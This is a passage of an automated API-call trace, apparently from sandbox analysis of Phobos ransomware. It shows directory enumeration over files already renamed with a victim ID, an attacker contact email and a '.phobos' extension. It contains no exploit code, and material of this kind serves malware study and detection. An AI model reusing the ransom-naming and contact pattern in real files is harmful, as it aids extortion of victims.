ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1 [0124.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.329] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.329] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede0cac2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xede0cac2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedea5496, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.329] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedea5496, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedea5496, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.329] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.329] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed994489, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.329] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.330] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.330] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1045", cAlternateFileName="")) returned 1 [0124.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.347] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.347] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedecb876, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedecb876, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedef18e2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.347] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf17afd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.347] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.347] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed83d090, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed83d090, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8631dd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.347] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.347] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.347] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1046", cAlternateFileName="")) returned 1 [0124.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.392] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedef18e2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedef18e2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedf3dde3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf17afd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf17afd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.392] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8631dd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8631dd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8af716, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.392] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.393] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.393] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1049", cAlternateFileName="")) returned 1 [0124.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.394] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.394] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf3dde3, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedf3dde3, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee022bf6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.394] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee368188, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed8d595c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.395] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.395] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.395] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1053", cAlternateFileName="")) returned 1 [0124.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5f60 [0124.396] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.396] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee022bf6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee022bf6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee0df62c, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee0df62c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee0df62c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee38e3c2, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x7b5f60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8d595c, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed8d595c, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed921dde, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.397] FindClose (in: hFindFile=0x7b5f60 | out: hFindFile=0x7b5f60) returned 1 [0124.398] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.398] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1055", cAlternateFileName="")) returned 1 [0124.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.398] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.399] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee368188, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee368188, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.399] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38e3c2, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee38e3c2, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee44f78f, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.399] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.399] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed921dde, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed921dde, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed947fc1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.399] FindClose (in: hFindFile=0x7b5e60 | out: hFindFile=0x7b5e60) returned 1 [0124.400] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, 